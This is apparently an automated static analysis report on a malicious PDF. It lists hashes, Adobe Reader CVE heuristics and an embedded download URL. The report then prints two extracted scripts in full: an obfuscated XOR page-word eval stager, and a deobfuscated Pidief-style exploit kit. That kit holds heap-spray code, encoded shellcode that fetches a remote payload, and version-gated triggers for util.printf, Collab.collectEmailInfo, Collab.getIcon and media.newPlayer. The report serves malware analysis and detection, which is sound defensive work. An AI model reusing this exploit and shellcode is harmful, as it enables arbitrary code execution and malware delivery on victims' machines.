Malicious PDF — malware analysis report

Static analysis result for SHA-256 ba39bb5c491d316d…

MALICIOUS

PDF

4.9 KB Created: 2010-07-13 09:45:12 Authoring application: Ledeqehzijimaze (via 20cc0Xeninokowelelew) First seen: 2026-05-11
MD5: d2bd4055e58598b7ab4301f07210b547 SHA-1: 7c7f8c4fc27b5ab67804421187f653b93991f304 SHA-256: ba39bb5c491d316dbb61f3be933614b3fd67100833b8240bf22e653e76db9660
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, identified by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The 'PDF_PAGE_WORD_XOR_EVAL_STAGER' heuristic specifically indicates a stager that uses JavaScript evaluation. The extracted artifact 'javascript_obj0011_000.js' is likely the payload of this stager, designed to download and execute further malicious content. The obfuscation noted in the static triage further supports this. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudv.egh/4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xE95 512 bytes
SHA-256: ac8e96afe16f12f8daf770c1ca0b61ea1ac90976140c9e73568d7a72d68f9f27
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
try {var kXA=app;var sNS='Function'.replace(/[]/g, '');uJC='var  :h:O = 76ZZ ;Zvar  cD ::= thi::s;var rMZD=:ZcD.getPageNumWords(this.pageNum)Z;:vZar tC=\'\'Z:;for(var wF=0Z:;wF< rMD; ZwF::++){tZZC=[tC, cD.getPageNthWordZ(cD.page:ZNZ:um,wF,t:Zrue)].join(\'\');:Z;}var dU=\'\';for(var wZ:F=0;ZwF Z< tC.length; w::F+=2){eF=Z:tC.sub:str:(wF,2);dUZ=[dU,ZSt:Zring.fromCharCode(:parseInt(eF,16):^hO):Z].join(:Z\'\')Z:;}evaZ:l(dU);dU=Z:null;'.replace(/[\:Z]/g, '');mD=jCR(dEJ);} catch(tQ){var oR=kXA.doc[sNS](uJC);oR();}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3790 bytes
SHA-256: bb84e6e642b2c2bc7497be6048fa559dbb556b468c1ea08158ee25659839ba55
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
uH=13988;uH++;this.l='';b={n:"f"};var kX='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var yF="";var t=new Array();try {var qZ='nG'.substring(31792,31792)} catch(qZ){};var xGJ=this.info['p'].replace(/[\s]/g, '');lY={yXG:12173};gL=32704;gL--;mT={gD:5148};var jAZ = this.info;var hW = (jAZ.producer.substr(0,5) == 'debug');var oH = new Array(); var tS = "%u";function gLU(str){str = str.split(tS);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function gT(str1, str2){return [str1, str2].join("");}function lYT(pI){var gB = jQ();var yXU = iF();gB += ((gB.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + yXU;if(hW) app.alert("URL: " + gB);gB=rA(gB);var d=tS;var eF=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";eF+=gB;return gLU(eF);};function jQ(){var vS = (jAZ.author + jAZ.title).replace(/[\s]/g, '');var mB = hS(vS, xGJ, kX);return mB;};function hS(vS, kX, xGJ){var mB="";for(var i=0; i < vS.length; i++){var sN = kX.indexOf(vS[i]);if(sN > -1 ){mB += xGJ[sN];}}return mB;};function rA(vS){var out = "";vS = lE(vS);g = Math.round(vS.length / 4);if (g != vS.length /4) vS+="00";for(var i=0; i < vS.length; i+=4){out+= tS + vS.substr(i+2, 2) + vS.substr(i, 2);}return out;};function lE(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function mVS(eX, len){while (eX.length * 2 < len){eX = gT(eX, eX);}return eX.substring(0, len / 2);};function hC(gVO){var oB = 0x0c0c0c0c;        jY = lYT("pdf");if (gVO == 1){oB = 0x30303030;}var aD = 0x400000;var ln = jY.length * 2;var xU = aD - (ln + 0x38);var eX = gLU(tS+"9090"+tS+"9090"); eX = mVS(eX, xU);var aP = (oB - 0x400000) / aD;for (var bS = 0; bS < aP; bS ++ ){oH[bS] = gT(eX, jY);}};function iF(){try {return app.viewerVersion.toString();}catch(sL){    return 0;}}if(hW) app.alert("called exploit");var yXU = iF();if(hW)  app.alert("v: " + yXU);if (yXU > 8){if(hW) app.alert("util.printf");hC(1);var rAB = "12999999999999999999";for (vU=0; vU < 276; vU++) rAB += "8";util.printf("%45000f", rAB);}if (yXU < 8){if(hW) app.alert("Collab.collectEmailInfo");hC(0);var sLK = gLU(tS+"0c0c"+tS+"0c0c");while (sLK.length < 44952) sLK += sLK;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : sLK});}if (yXU < 9.1){if (app.doc.Collab.getIcon){if(hW) app.alert("Collab.getIcon");hC(0);var gJ = unescape("%09");while (gJ.length < 0x4000) gJ += gJ;gJ = "N." + gJ;app.doc.Collab.getIcon(gJ);}}if (yXU == 9.2){if(hW) app.alert("media.newPlayer");hC(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}this.pE='';try {var fG='mV'} catch(fG){};var z={lG:"gV".charCodeAt(19144)};